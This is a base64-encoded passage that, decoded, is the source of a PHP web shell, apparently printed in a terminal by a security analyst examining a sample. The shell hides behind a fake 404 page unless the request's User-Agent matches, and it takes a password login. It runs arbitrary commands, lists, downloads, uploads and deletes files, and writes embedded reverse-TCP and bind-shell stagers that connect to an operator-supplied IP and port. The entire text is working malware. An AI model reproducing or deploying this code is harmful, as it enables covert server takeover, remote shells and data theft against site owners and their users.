QgPSBmb3BlbigkbWV0ZXJwcmV0ZXItPnBhdGgsICJ3KyIpOwoJCQlpZighJGZkKSB7CgkJCQkkY29uZmlnLT5lcnJvcl9tZXRlcnByZXRlciA9ICc8ZGl2IGNsYXNzPSJlcnJvciI+Q2Fubm90IGNyZWF0ZSAnIC4gVTo6UCgkbWV0ZXJwcmV0ZXItPnBhdGgpIC4gJzwvZGl2Pic7CgkJCX0gZWxzZSB7CgkJCQlmd3JpdGUoJGZkLCAkbWV0ZXJwcmV0ZXItPnBheWxvYWQpOwoJCQkJZmNsb3NlKCRmZCk7CgkJCQkkY29uZmlnLT5lcnJvcl9tZXRlcnByZXRlciA9ICc8ZGl2IGNsYXNzPSJlcnJvciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICM2NWJlMDAiPicgLiBVOjpQKCRtZXRlcnByZXRlci0+cGF0aCkgLiAnIGhhcyBiZWVuIGNyZWF0ZWQ8L2Rpdj4nOwoJCQl9CgkJfQoJfQoKCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gTG9nb3V0KCkgewoJCWlmKGlzc2V0KCRfUkVRVUVTVFsnbG9nb3V0J10pKSB7CgkJCXNlc3Npb25fZGVzdHJveSgpOwoJCQloZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOwoJCQlkaWUoKTsKCQl9Cgl9Cn0KY2xhc3MgVSBleHRlbmRzIFV0aWwge307CgpjaGFtaWx0b25AY2hhbWlsdG9uLW1hbmRpYW50LWxpbnV4On4vRGVza3RvcCQgY2F0IHNoZWxsLnR4dC4yIAppZigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gIT0gYmFzZTY0X2RlY29kZSgnVlc1cFUyaGxiR3c9JykpIHsKCWRpZSgnPCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9JRVRGLy9EVEQgSFRNTCAyLjAvL0VOIj4KPGh0bWw+PGhlYWQ+Cjx0aXRsZT40MDQgTm90IEZvdW5kPC90aXRsZT4KPC9oZWFkPjxib2R5Pgo8aDE+Tm90IEZvdW5kPC9oMT4KPHA+VGhlIHJlcXVlc3RlZCBVUkwgJyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4gJyB3YXMgbm90IGZvdW5kIG9uIHRoaXMgc2VydmVyLjwvcD4KPGhyPgonIC4gJF9TRVJWRVJbJ1NFUlZFUl9TSUdOQVRVUkUnXSAuICcKPC9ib2R5PjwvaHRtbD4KJyk7Cn0KCmNsYXNzIExvZ2luIHsKCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gTG9naW5SZXF1ZXN0KCYkY29uZmlnKSB7CgkJaWYoaXNzZXQoJF9SRVFVRVNUWyd1J10pICYmIGlzc2V0KCRfUkVRVUVTVFsncCddKSkgewoJCQlpZihDcnlwdG86OlhCNjQoJF9SRVFVRVNUWyd1J10pID09ICRjb25maWctPnVzZXJuYW1lICYmIGhhc2goJ3NoYTUxMicsIENyeXB0bzo6WEI2NCgkX1JFUVVFU1RbJ3UnXSkgLiAkX1JFUVVFU1RbJ3AnXSkgPT0gJGNvbmZpZy0+cGFzc3dvcmQpIHsKCQkJCSRfU0VTU0lPTlsnVU5JU0hFTEwnXSA9IHRydWU7CgkJCX0gZWxzZSB7CgkJCQkkY29uZmlnLT5lcnJvciA9ICc8ZGl2IGNsYXNzPSJlcnJvciI+V3JvbmcgdXNlcm5hbWUgLyBwYXNzd29yZDwvZGl2Pic7CgkJCX0KCQl9Cgl9CgoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBJc0xvZ2dlZCgpIHsKCQlpZihpc3NldCgkX1NFU1NJT05bJ1VOSVNIRUxMJ10pKSB7CgkJCXJldHVybiB0cnVlOwoJCX0KCQlyZXR1cm4gZmFsc2U7Cgl9Cn0KCmNsYXNzIENyeXB0byB7CglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIEdlbktleSgkc2l6ZSkgewoJCSRrZXkgPSBzdWJzdHIoc3RyX3NodWZmbGUoJzAxMjM0NTY3ODlhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaJyksIDAsICRzaXplKTsKCQkkX1NFU1NJT05bJ0tFWSddID0gJGtleTsKCQlyZXR1cm4gJGtleTsKCX0KCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIEdlblJhbmQoJHNpemUpIHsKCQlyZXR1cm4gc3Vic3RyKHN0cl9zaHVmZmxlKCcwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWicpLCAwLCAkc2l6ZSk7Cgl9CgoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBYKCRidWZmZXIsICRlbmNvZGUgPSBmYWxzZSkgewkKCQkka2V5ID0gJF9TRVNTSU9OWydLRVknXTsKCQkkaiA9IC0xOwoJCWZvcigkaSA9IDA7ICRpIDwgc3RybGVuKCRidWZmZXIpOyAkaSsrKSB7CgkJCWlmKCsrJGogPT0gc3RybGVuKCRrZXkpKSB7CgkJCQkkaiA9IDA7CgkJCX0JCgkJCSRidWZmZXJbJGldID0gJGJ1ZmZlclskaV0gXiAka2V5WyRqXTsKCQl9CgkJaWYoJGVuY29kZSkgewoJCQlyZXR1cm4gdXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoJGJ1ZmZlcikpOwoJCX0KCQlyZXR1cm4gJGJ1ZmZlcjsKCX0KCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIFhCNjQoJGJ1ZmZlcikgewoJCXJldHVybiBDcnlwdG86OlgoYmFzZTY0X2RlY29kZSgkYnVmZmVyKSk7Cgl9Cn0KCmNsYXNzIFV0aWwgewoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBQKCRidWZmZXIpIHsKCQlyZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkYnVmZmVyLCBFTlRfUVVPVEVTKTsKCX0KCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIEdldFN5c3RlbUluZm8oKSB7CgkJaWYoTG9naW46OklzTG9nZ2VkKCkpIHsKCQkJcmV0dXJuIGRhdGUoJ3InKSAuICcgfCAnIC4gcGhwX3VuYW1lKCkgLiAnIHwgPGk+PGEgc3R5bGU9ImNvbG9yOiAjNWY1ZjVmIiBocmVmPSI/bG9nb3V0PTEiPkxvZ291dDwvYT48L2k+JzsKCQl9CgkJcmV0dXJuIG51bGw7Cgl9CgoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBHZXRBbGwoKSB7CgkJcmV0dXJuICc8dHI+PHRkIHZhbGlnbj0idG9wIiBjbGFzcz0idGl0bGUiPkN1cnJlbnQgT1M8L3RkPjx0ZD4nIC4gcGhwX3VuYW1lKCkgLiAnPC90ZD48L3RyPicgLgoJCQknPHRyPjx0ZCB2YWxpZ249InRvcCIgY2xhc3M9InRpdGxlIj5DdXJyZW50IFVzZXI8L3RkPjx0ZD4nIC4gVXRpbDo6R2V0VXNlcigpIC4gJzwvdGQ+PC90cj4nIC4KCQkJJzx0cj48dGQgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0aXRsZSI+Q3VycmVudCBEaXJlY3Rvcnk8L3RkPjx0ZD4nIC4gVXRpbDo6R2V0Q1dEKCkgLiAnPC90ZD48L3RyPicgLgoJCQknPHRyPjx0ZCB2YWxpZ249InRvcCIgY2xhc3M9InRpdGxlIj5TaGVsbCBMb2NhdGlvbjwvdGQ+PHRkPicgLiBfX0ZJTEVfXyAuICc8L3RkPjwvdHI+JyAuCgkJCSc8dHI+PHRkIHZhbGlnbj0idG9wIiBjbGFzcz0idGl0bGUiPk5ldHdvcmtpbmc8L3RkPjx0ZD4nIC4gVXRpbDo6R2V0SVAoKSAuICc8L3RkPjwvdHI+JzsKCX0KCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIEdldElQKCkgewoJCXJldHVybiBubDJicihzaGVsbF9leGVjKCdpZmNvbmZpZycpKTsKCX0KCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIEdldFVzZXIoKSB7CgkJcmV0dXJuIG5sMmJyKHNoZWxsX2V4ZWMoJ2lkJykpOwoJfQoKCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gR2V0Q1dEKCkgewoJCWlmKGlzc2V0KCRfUkVRVUVTVFsnY2QnXSkpIHsKCQkJJHBhdGggPSBVOjpQKGJhc2U2NF9kZWNvZGUoQ3J5cHRvOjpYQjY0KCRfUkVRVUVTVFsnY2QnXSkpKTsKCQkJJGNoZWNrID0gZXhwbG9kZSgnLycsICRwYXRoKTsKCQkJYXJyYXlfcG9wKCRjaGVjayk7CgkJCWlmKGVuZCgkY2hlY2spID09ICcuLicpIHsKCQkJCWFycmF5X3BvcCgkY2hlY2spOwoJCQkJYXJyYXlfcG9wKCRjaGVjayk7CgkJCQkkcGF0aCA9IGltcGxvZGUoJy8nLCAkY2hlY2spIC4gJy8nOwoJCQl9CgkJCSRfU0VTU0lPTlsnUEFUSCddID0gJHBhdGg7CgkJCXJldHVybiAkcGF0aDsKCQl9CgkJaWYoaXNzZXQoJF9TRVNTSU9OWydQQVRIJ10pKSB7CgkJCXJldHVybiAkX1NFU1NJT05bJ1BBVEgnXTsKCQl9IGVsc2UgewoJCQlyZXR1cm4gc3Vic3RyKHNoZWxsX2V4ZWMoJ3B3ZCcpLCAtMSkgPT0gJy8nID8gdHJpbShzaGVsbF9leGVjKCdwd2QnKSkgOiB0cmltKHNoZWxsX2V4ZWMoJ3B3ZCcpKSAuICcvJzsJCgkJfQoJfQoKCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gQ2hhbmdlQ1dEKCYkY29uZmlnKSB7CgkJaWYoaXNzZXQoJF9SRVFVRVNUWydjY2QnXSkpIHsKCQkJJGNvbmZpZy0+Y3VycmVudF9kaXIgPSBVOjpQKENyeXB0bzo6WEI2NCgkX1JFUVVFU1RbJ2NjZCddKSk7CgkJCSRfU0VTU0lPTlsnUEFUSCddID0gJGNvbmZpZy0+Y3VycmVudF9kaXI7CgkJfQoJCVV0aWw6OkFkanVzdFBhdGgoJGNvbmZpZyk7Cgl9CgoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBBZGp1c3RQYXRoKCYkY29uZmlnKSB7CgkJaWYoc3Vic3RyKCRjb25maWctPmN1cnJlbnRfZGlyLCAtMSkgIT0gJy8nKSB7CgkJCSRjb25maWctPmN1cnJlbnRfZGlyIC49ICcvJzsKCQkJJF9TRVNTSU9OWydQQVRIJ10gPSAkY29uZmlnLT5jdXJyZW50X2RpcjsKCQl9Cgl9CgoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBHZXRGaWxlTGlzdCgkY29uZmlnKSB7CgkJJG91dHB1dCA9ICcnOwkJCgkJZm9yZWFjaChleHBsb2RlKCJcbiIsIHNoZWxsX2V4ZWMoJ2xzIC1sYSAnIC4gJGNvbmZpZy0+Y3VycmVudF9kaXIpKSBhcyAkaXRlbSkgewoJCQlpZihzdWJzdHIoJGl0ZW0sIDAsIDEpID09ICdkJykgewoJCQkJJGN1cnJlbnQgPSBlbmQoZXhwbG9kZSgnICcsICRpdGVtKSk7CgkJCQkkb3V0cHV0IC49ICc8dHI+PHRkPjwvdGQ+PHRkIHZhbGlnbj0idG9wIiBjbGFzcz0iY29uc29sZSI+PGEgaHJlZj0iP2NkPScgLiBDcnlwdG86OlgoYmFzZTY0X2VuY29kZSgkY29uZmlnLT5jdXJyZW50X2RpciAuICRjdXJyZW50IC4gJy8nKSwgdHJ1ZSkgLiAnI2Jyb3dzZSI+JyAuICRpdGVtIC4gJzwvYT48L3RkPjwvdHI+JzsKCQkJfSBlbHNlIGlmKHN1YnN0cigkaXRlbSwgMCwgMSkgPT0gJy0nKSB7CgkJCQkkY3VycmVudCA9IGVuZChleHBsb2RlKCcgJywgJGl0ZW0pKTsKCQkJCSRvdXRwdXQgLj0gJzx0cj48dGQ+PGEgaHJlZj0iP2Q9JyAuIENyeXB0bzo6WChiYXNlNjRfZW5jb2RlKCRjb25maWctPmN1cnJlbnRfZGlyIC4gJGN1cnJlbnQpLCB0cnVlKSAuJyI+ZG93bmxvYWQ8L2E+IHwgPGEgc3R5bGU9ImNvbG9yOiAjYWMwMDAwOyIgaHJlZj0iP3I9JyAuIENyeXB0bzo6WChiYXNlNjRfZW5jb2RlKCRjb25maWctPmN1cnJlbnRfZGlyIC4gJGN1cnJlbnQpLCB0cnVlKSAuJyNicm93c2UiPmRlbGV0ZTwvYT48L3RkPjx0ZCB2YWxpZ249InRvcCIgY2xhc3M9ImNvbnNvbGUiPjxhIGhyZWY9Ij92PScgLiBDcnlwdG86OlgoYmFzZTY0X2VuY29kZSgkY29uZmlnLT5jdXJyZW50X2RpciAuICRjdXJyZW50KSwgdHJ1ZSkgLiAnIj4nIC4gJGl0ZW0gLiAnPC9hPjwvdGQ+PC90cj4nOwoJCQl9IGVsc2UgewoJCQkJaWYodHJpbSgkaXRlbSkgIT0gIiIpIHsgCgkJCQkJJG91dHB1dCAuPSAnPHRyPjx0ZD48L3RkPjx0ZCB2YWxpZ249InRvcCIgY2xhc3M9ImNvbnNvbGUiPicgLiAkaXRlbSAuICc8L3RkPjwvdHI+JzsKCQkJCX0JCQkKCQkJfQoJCX0KCQlyZXR1cm4gJG91dHB1dDsKCX0KCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIFZpZXdGaWxlKCkgewoJCWlmKGlzc2V0KCRfUkVRVUVTVFsndiddKSkgewoJCQkkZmlsZSA9IFU6OlAoYmFzZTY0X2RlY29kZShDcnlwdG86OlhCNjQoJF9SRVFVRVNUWyd2J10pKSk7CgkJCSRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsKCQkJJGVycm9yID0gZXJyb3JfZ2V0X2xhc3QoKTsKCQkJaWYoJGVycm9yICE9IG51bGwpIHsKCQkJCSRlcnJvciA9ICc8ZGl2IHN0eWxlPSJjb2xvcjogI2FjMDAwMCI+RXJyb3I6ICcgLiAkZXJyb3JbJ21lc3NhZ2UnXSAuICc8L2Rpdj4nOwoJCQl9CgkJCXJldHVybiAnCgkJCTxkaXYgY2xhc3M9ImJveCBnZW5lcmljIj4KCQkJCTxiPkNvbnRlbnQgb2YgJyAuICRmaWxlIC4gJzwvYj4KCQkJCTx0YWJsZSBjZWxscGFkZGluZz0iNyIgY2VsbHNwYWNpbmc9IjAiPgoJCQkJPHRyPjx0ZCBjbGFzcz0iY29uc29sZSI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMGFjIj4nIC4gJGVycm9yIC4gCgkJCQlzdHJfcmVwbGFjZSgiXHQiLCAiJm5ic3A7ICAgICIsIG5sMmJyKFU6OlAoJGNvbnRlbnQpKSkgLgoJCQkJJzwvc3Bhbj48L3RkPjwvdHI+CgkJCQk8L3RhYmxlPgoJCQk8L2Rpdj4nOwoJCX0KCX0KCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIERvd25sb2FkRmlsZSgpIHsKCQlpZihpc3NldCgkX1JFUVVFU1RbJ2QnXSkpIHsKCQkJJGZpbGUgPSBiYXNlNjRfZGVjb2RlKENyeXB0bzo6WEI2NCgkX1JFUVVFU1RbJ2QnXSkpOwoJCQlpZihmaWxlX2V4aXN0cygkZmlsZSkpIHsKCQkJICAgIGhlYWRlcignQ29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2ZlcicpOwoJCQkgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOwoJCQkgICAgaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nIC4gYmFzZW5hbWUoJGZpbGUpKTsKCQkJICAgIGhlYWRlcignRXhwaXJlczogMCcpOwoJCQkgICAgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUnKTsKCQkJICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsKCQkJICAgIGhlYWRlcignQ29udGVudC1MZW5ndGg6ICcgLiBmaWxlc2l6ZSgkZmlsZSkpOwoJCQkgICAgcmVhZGZpbGUoJGZpbGUpOwoJCQl9CgkJfQoJfQoKCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gVXBsb2FkRmlsZSgmJGNvbmZpZykgewoJCWlmKGlzc2V0KCRfRklMRVNbJ2YnXSkpIHsKCQkJJGNvbmZpZy0+ZXJyb3IgPSAnPGRpdiBjbGFzcz0iZXJyb3IiPicgLiAkcGF0aCAuICcgY2Fubm90IGJlIHVwbG9hZGVkPC9kaXY+JzsKCQkJJHBhdGggPSAkX1JFUVVFU1RbJ3AnXSAuICcvJyAuIGJhc2VuYW1lKCRfRklMRVNbImYiXVsibmFtZSJdKTsKCQkJJGVycm9yID0gbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImYiXVsidG1wX25hbWUiXSwgJHBhdGgpOwoJCQlpZihmaWxlX2V4aXN0cygkcGF0aCkpIHsKCQkJCSRjb25maWctPmVycm9yID0gJzxkaXYgY2xhc3M9ImVycm9yIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogIzY1YmUwMCI+JyAuIHN0cl9yZXBsYWNlKCcvLycsICcvJywgJHBhdGgpIC4gJyBoYXMgYmVlbiBzdWNjZXNzZnVsbHkgdXBsb2FkZWQ8L2Rpdj4nOwoJCQl9IGVsc2UgewoJCQkJJGNvbmZpZy0+ZXJyb3IgPSAnPGRpdiBjbGFzcz0iZXJyb3IiPicgLiBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRwYXRoKSAuICcgY2Fubm90IGJlIHVwbG9hZGVkPC9kaXY+JzsKCQkJfQkKCQl9Cgl9CgoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBEZWxldGVGaWxlKCkgewoJCWlmKGlzc2V0KCRfUkVRVUVTVFsnciddKSkgewoJCQl1bmxpbmsoYmFzZTY0X2RlY29kZShDcnlwdG86OlhCNjQoJF9SRVFVRVNUWydyJ10pKSk7CgkJfQoJfQoKCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gR2V0Q21kKCYkY29uZmlnKSB7CgkJaWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpIHsKCQkJJGNvbmZpZy0+Y21kID0gQ3J5cHRvOjpYQjY0KCRfUkVRVUVTVFsnY21kJ10pOwoJCX0gZWxzZSB7CgkJCSRjb25maWctPmNtZCA9ICcnOwoJCX0JCQoJfQoJCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIEV4ZWN1dGUoJGNvbmZpZykgewoJCWlmKGlzc2V0KCRfUkVRVUVTVFsnYWpheCddKSkgewoJCQlvYl9lbmRfY2xlYW4oKTsKCQkJZWNobyBubDJicihVOjpQKHNoZWxsX2V4ZWMoJGNvbmZpZy0+Y21kIC4gJyAyPiYxJykpKTsKCQkJZGllKCk7CgkJfQoJCXJldHVybiBubDJicihVOjpQKHNoZWxsX2V4ZWMoJGNvbmZpZy0+Y21kIC4gJyAyPiYxJykpKTsKCX0KCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIEdlbk1ldGVycHJldGVyKCYkY29uZmlnKSB7CgkJaWYoaXNzZXQoJF9SRVFVRVNUWyd0J10pICYmIGlzc2V0KCRfUkVRVUVTVFsnaSddKSAmJgoJCSAgIGlzc2V0KCRfUkVRVUVTVFsncCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3BhJ10pKSB7CgkJCSRtZXRlcnByZXRlciA9IChvYmplY3QpYXJyYXkoKTsKCQkJJG1ldGVycHJldGVyLT50eXBlID0gQ3J5cHRvOjpYQjY0KCRfUkVRVUVTVFsndCddKTsKCQkJJG1ldGVycHJldGVyLT5pcCA9IENyeXB0bzo6WEI2NCgkX1JFUVVFU1RbJ2knXSk7CgkJCSRtZXRlcnByZXRlci0+cG9ydCA9IENyeXB0bzo6WEI2NCgkX1JFUVVFU1RbJ3AnXSk7CgkJCSRtZXRlcnByZXRlci0+cGF0aCA9IENyeXB0bzo6WEI2NCgkX1JFUVVFU1RbJ3BhJ10pOwoJCQkkbWV0ZXJwcmV0ZXItPnJldmVyc2UgPSAnUEQ5d2FIQUtaWEp5YjNKZmNtVndiM0owYVc1bktFVmZRVXhNS1RzS2FXNXBYM05sZENnblpHbHpjR3hoZVY5bGNuSnZjbk1uTENBeEtUc0tjMlYwWDNScGJXVmZiR2x0YVhRb01DazdDZ29qSUZSb1pTQndZWGxzYjJGa0lHaGhibVJzWlhJZ2IzWmxjbmR5YVhSbGN5QjBhR2x6SUhkcGRHZ2dkR2hsSUdOdmNuSmxZM1FnVEVoUFUxUWdZbVZtYjNKbElITmxibVJwYm1jS0l5QnBkQ0IwYnlCMGFHVWdkbWxqZEdsdExnb2thWEFnUFNBblcwbFFYU2M3Q2lSd2IzSjBJRDBnVzFCUFVsUmRPd29rYVhCbUlEMGdRVVpmU1U1RlZEc0tDbWxtSUNoR1FVeFRSU0FoUFQwZ2MzUnljRzl6S0NScGNDd2dJam9pS1NrZ2V3b0pJeUJwY0hZMklISmxjWFZwY21WeklHSnlZV05yWlhSeklHRnliM1Z1WkNCMGFHVWdZV1JrY21WemN3b0pKR2x3SUQwZ0lsc2lMaUFrYVhBZ0xpSmRJanNLQ1NScGNHWWdQU0JCUmw5SlRrVlVOanNLZlFvS2FXWWdLQ2drWmlBOUlDZHpkSEpsWVcxZmMyOWphMlYwWDJOc2FXVnVkQ2NwSUNZbUlHbHpYMk5oYkd4aFlteGxLQ1JtS1NrZ2V3b0pKSE1nUFNBa1ppZ2lkR053T2k4dmV5UnBjSDA2ZXlSd2IzSjBmU0lwT3dvSkpITmZkSGx3WlNBOUlDZHpkSEpsWVcwbk93cDlJR1ZzYzJWcFppQW9LQ1JtSUQwZ0oyWnpiMk5yYjNCbGJpY3BJQ1ltSUdselgyTmhiR3hoWW14bEtDUm1LU2tnZXdvSkpITWdQU0FrWmlna2FYQXNJQ1J3YjNKMEtUc0tDU1J6WDNSNWNHVWdQU0FuYzNSeVpXRnRKenNLZlNCbGJITmxhV1lnS0Nna1ppQTlJQ2R6YjJOclpYUmZZM0psWVhSbEp5a2dKaVlnYVhOZlkyRnNiR0ZpYkdVb0pHWXBLU0I3Q2dra2N5QTlJQ1JtS0NScGNHWXNJRk5QUTB0ZlUxUlNSVUZOTENCVFQweGZWRU5RS1RzS0NTUnlaWE1nUFNCQWMyOWphMlYwWDJOdmJtNWxZM1FvSkhNc0lDUnBjQ3dnSkhCdmNuUXBPd29KYVdZZ0tDRWtjbVZ6S1NCN0lHUnBaU2dwT3lCOUNna2tjMTkwZVhCbElEMGdKM052WTJ0bGRDYzdDbjBnWld4elpTQjdDZ2xrYVdVb0oyNXZJSE52WTJ0bGRDQm1kVzVqY3ljcE93cDlDbWxtSUNnaEpITXBJSHNnWkdsbEtDZHVieUJ6YjJOclpYUW5LVHNnZlFvS2MzZHBkR05vSUNna2MxOTBlWEJsS1NCN0lBcGpZWE5sSUNkemRISmxZVzBuT2lBa2JHVnVJRDBnWm5KbFlXUW9KSE1zSURRcE95QmljbVZoYXpzS1kyRnpaU0FuYzI5amEyVjBKem9nSkd4bGJpQTlJSE52WTJ0bGRGOXlaV0ZrS0NSekxDQTBLVHNnWW5KbFlXczdDbjBLYVdZZ0tDRWtiR1Z1S1NCN0Nna2pJRmRsSUdaaGFXeGxaQ0J2YmlCMGFHVWdiV0ZwYmlCemIyTnJaWFF1SUNCVWFHVnlaU2R6SUc1dklIZGhlU0IwYnlCamIyNTBhVzUxWlN3Z2MyOEtDU01nWW1GcGJBb0paR2xsS0NrN0NuMEtKR0VnUFNCMWJuQmhZMnNvSWs1c1pXNGlMQ0FrYkdWdUtUc0tKR3hsYmlBOUlDUmhXeWRzWlc0blhUc0tDaVJpSUQwZ0p5YzdDbmRvYVd4bElDaHpkSEpzWlc0b0pHSXBJRHdnSkd4bGJpa2dld29KYzNkcGRHTm9JQ2drYzE5MGVYQmxLU0I3SUFvSlkyRnpaU0FuYzNSeVpXRnRKem9nSkdJZ0xqMGdabkpsWVdRb0pITXNJQ1JzWlc0dGMzUnliR1Z1S0NSaUtTazdJR0p5WldGck93b0pZMkZ6WlNBbmMyOWphMlYwSnpvZ0pHSWdMajBnYzI5amEyVjBYM0psWVdRb0pITXNJQ1JzWlc0dGMzUnliR1Z1S0NSaUtTazdJR0p5WldGck93b0pmUXA5Q2dvaklGTmxkQ0IxY0NCMGFHVWdjMjlqYTJWMElHWnZjaUIwYUdVZ2JXRnBiaUJ6ZEdGblpTQjBieUIxYzJVdUNpUkhURTlDUVV4VFd5ZHRjMmR6YjJOckoxMGdQU0FrY3pzS0pFZE1UMEpCVEZOYkoyMXpaM052WTJ0ZmRIbHdaU2RkSUQwZ0pITmZkSGx3WlRzS1pYWmhiQ2drWWlrN0NtUnBaU2dwT3dvL1Bnbz0nOwoJCQkkbWV0ZXJwcmV0ZXItPmJpbmQgPSAnUEQ5d2FIQUtaWEp5YjNKZmNtVndiM0owYVc1bktFVmZRVXhNS1RzS2FXNXBYM05sZENnblpHbHpjR3hoZVY5bGNuSnZjbk1uTENBeEtUc0tjMlYwWDNScGJXVmZiR2x0YVhRb01DazdDZ29qSUZSb1pTQndZWGxzYjJGa0lHaGhibVJzWlhJZ2IzWmxjbmR5YVhSbGN5QjBhR2x6SUhkcGRHZ2dkR2hsSUdOdmNuSmxZM1FnVEZCUFVsUWdZbVZtYjNKbElITmxibVJwYm1jS0l5QnBkQ0IwYnlCMGFHVWdkbWxqZEdsdExnb2tjRzl5ZENBOUlGdFFUMUpVWFRzS0pHbHdZV1JrY2lBOUlDSXdMakF1TUM0d0lqc0tDbWxtSUNocGMxOWpZV3hzWVdKc1pTZ25jM1J5WldGdFgzTnZZMnRsZEY5elpYSjJaWEluS1NrZ2V3b0pKSE55ZG5Odlkyc2dQU0J6ZEhKbFlXMWZjMjlqYTJWMFgzTmxjblpsY2lnaWRHTndPaTh2ZXlScGNHRmtaSEo5T25za2NHOXlkSDBpS1RzS0NXbG1JQ2doSkhOeWRuTnZZMnNwSUhzZ1pHbGxLQ2s3SUgwS0NTUnpJRDBnYzNSeVpXRnRYM052WTJ0bGRGOWhZMk5sY0hRb0pITnlkbk52WTJzc0lDMHhLVHNLQ1daamJHOXpaU2drYzNKMmMyOWpheWs3Q2dra2MxOTBlWEJsSUQwZ0ozTjBjbVZoYlNjN0NuMGdaV3h6WldsbUlDaHBjMTlqWVd4c1lXSnNaU2duYzI5amEyVjBYMk55WldGMFpWOXNhWE4wWlc0bktTa2dld29KSkhOeWRuTnZZMnNnUFNCemIyTnJaWFJmWTNKbFlYUmxYMnhwYzNSbGJpaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnVTA5TVgxUkRVQ2s3Q2dscFppQW9JU1J5WlhNcElIc2daR2xsS0NrN0lIMEtDU1J6SUQwZ2MyOWphMlYwWDJGalkyVndkQ2drYzNKMmMyOWpheWs3Q2dsemIyTnJaWFJmWTJ4dmMyVW9KSE55ZG5Odlkyc3BPd29KSkhOZmRIbHdaU0E5SUNkemIyTnJaWFFuT3dwOUlHVnNjMlZwWmlBb2FYTmZZMkZzYkdGaWJHVW9KM052WTJ0bGRGOWpjbVZoZEdVbktTa2dld29KSkhOeWRuTnZZMnNnUFNCemIyTnJaWFJmWTNKbFlYUmxLRUZHWDBsT1JWUXNJRk5QUTB0ZlUxUlNSVUZOTENCVFQweGZWRU5RS1RzS0NTUnlaWE1nUFNCemIyTnJaWFJmWW1sdVpDZ2tjM0oyYzI5amF5d2dKR2x3WVdSa2Npd2dKSEJ2Y25RcE93b0phV1lnS0NFa2NtVnpLU0I3SUdScFpTZ3BPeUI5Q2dra2N5QTlJSE52WTJ0bGRGOWhZMk5sY0hRb0pITnlkbk52WTJzcE93b0pjMjlqYTJWMFgyTnNiM05sS0NSemNuWnpiMk5yS1RzS0NTUnpYM1I1Y0dVZ1BTQW5jMjlqYTJWMEp6c0tmU0JsYkhObElIc0tDV1JwWlNncE93cDlDbWxtSUNnaEpITXBJSHNnWkdsbEtDazdJSDBLQ25OM2FYUmphQ0FvSkhOZmRIbHdaU2tnZXdwallYTmxJQ2R6ZEhKbFlXMG5PaUFrYkdWdUlEMGdabkpsWVdRb0pITXNJRFFwT3lCaWNtVmhhenNLWTJGelpTQW5jMjlqYTJWMEp6b2dKR3hsYmlBOUlITnZZMnRsZEY5eVpXRmtLQ1J6TENBMEtUc2dZbkpsWVdzN0NuMEthV1lnS0NFa2JHVnVLU0I3Q2draklGZGxJR1poYVd4bFpDQnZiaUIwYUdVZ2JXRnBiaUJ6YjJOclpYUXVJQ0JVYUdWeVpTZHpJRzV2SUhkaGVTQjBieUJqYjI1MGFXNTFaU3dnYzI4S0NTTWdZbUZwYkFvSlpHbGxLQ2s3Q24wS0pHRWdQU0IxYm5CaFkyc29JazVzWlc0aUxDQWtiR1Z1S1RzS0pHeGxiaUE5SUNSaFd5ZHNaVzRuWFRzS0NpUmlJRDBnSnljN0NuZG9hV3hsSUNoemRISnNaVzRvSkdJcElEd2dKR3hsYmlrZ2V3b0pjM2RwZEdOb0lDZ2tjMTkwZVhCbEtTQjdDZ2xqWVhObElDZHpkSEpsWVcwbk9pQWtZaUF1UFNCbWNtVmhaQ2drY3l3Z0pHeGxiaTF6ZEhKc1pXNG9KR0lwS1RzZ1luSmxZV3M3Q2dsallYTmxJQ2R6YjJOclpYUW5PaUFrWWlBdVBT